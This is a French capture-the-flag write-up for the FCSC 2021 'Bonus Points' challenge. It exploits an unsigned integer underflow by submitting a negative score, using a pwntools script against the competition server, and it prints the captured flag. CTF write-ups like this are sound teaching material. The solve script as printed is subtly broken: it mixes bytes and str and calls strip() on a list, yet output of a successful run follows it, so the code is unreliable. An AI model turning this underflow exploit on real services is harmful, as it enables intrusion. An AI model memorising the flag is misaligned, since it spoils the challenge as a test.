FCSC 2021 - Intro - Bonus Points

Table des matières :

Category : intro Points : 20

Qui n’a pas envie de quelques points bonus ? Obtenez un score supérieur à 1000 pour débloquer le flag.

nc challenges2.france-cybersecurity-challenge.fr 4001

SHA256(bonuspoints) = 8c05bb6a86ea741b6af1412ae0da562513345e00ad2096fd41bdd83f984b4b64.

Fichiers joints :


Résolution

La vulnérabilité ici est un unsigned integer overflow. Le challenge ne nous permet pas d’ajouter plus de 100 points bonus, mais nous pouvons en enlever plus que 100. Par conséquent, si nous enlevons notre score actuel nous arrivons à 0, et si nous enlevons un point de plus nous arrivons à 0xffffffff. Exemple en local :

$ ./bonuspoints
Hello, here you can get some bonus points for the competition.
You cannot get more than 100 bonus points.
If you go above 1 000 you win.
Your score is currently 43
How many bonus points do you want ?
>>> -44
Your new score is 4294967295
Congratulations ! Here is your flag :
cat: flag.txt: No such file or directory

Nous voyons bien que nous arrivons à mettre notre score à la valeur 0xffffffff et donc valider l’épreuve ! (Bien que nous n’ayons pas le flag.txt en local, ce qui explique l’erreur cat: flag.txt: No such file or directory)

Exploitation en remote

Pour exploiter le binaire via le service réseau fourni, j’ai utilisé pwntools. J’ai récupéré dans un premier temps le score aléatoire que nous donne le challenge, et soustrait ce score plus 1.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import pwn

c = pwn.remote("challenges2.france-cybersecurity-challenge.fr",4001)
data = c.recvuntil(b'>>>')
currentscore  = int(data.split('is currently ')[1].split('\n').strip())
exploit_score = -(currentscore + 1)
c.sendline(str(exploit_score))
c.interactive()

Nous lancons ce script et nous avons :

$ ./solve.py
[+] Opening connection to challenges2.france-cybersecurity-challenge.fr on port 4001: Done
Hello, here you can get some bonus points for the competition.
You cannot get more than 100 bonus points.
If you go above 1000 you win.
Your score is currently 77
How many bonus points do you want?
>>>
-78
[*] Switching to interactive mode
Your new score is 4294967295
Congratulations! Here is your flag:
FCSC{750882cf64feb04b384cfa42bbf2167eab337671e663ab238339c6cee884851d}
[*] Got EOF while reading in interactive
$  

Et nous obtenons le flag :

FCSC{750882cf64feb04b384cfa42bbf2167eab337671e663ab238339c6cee884851d}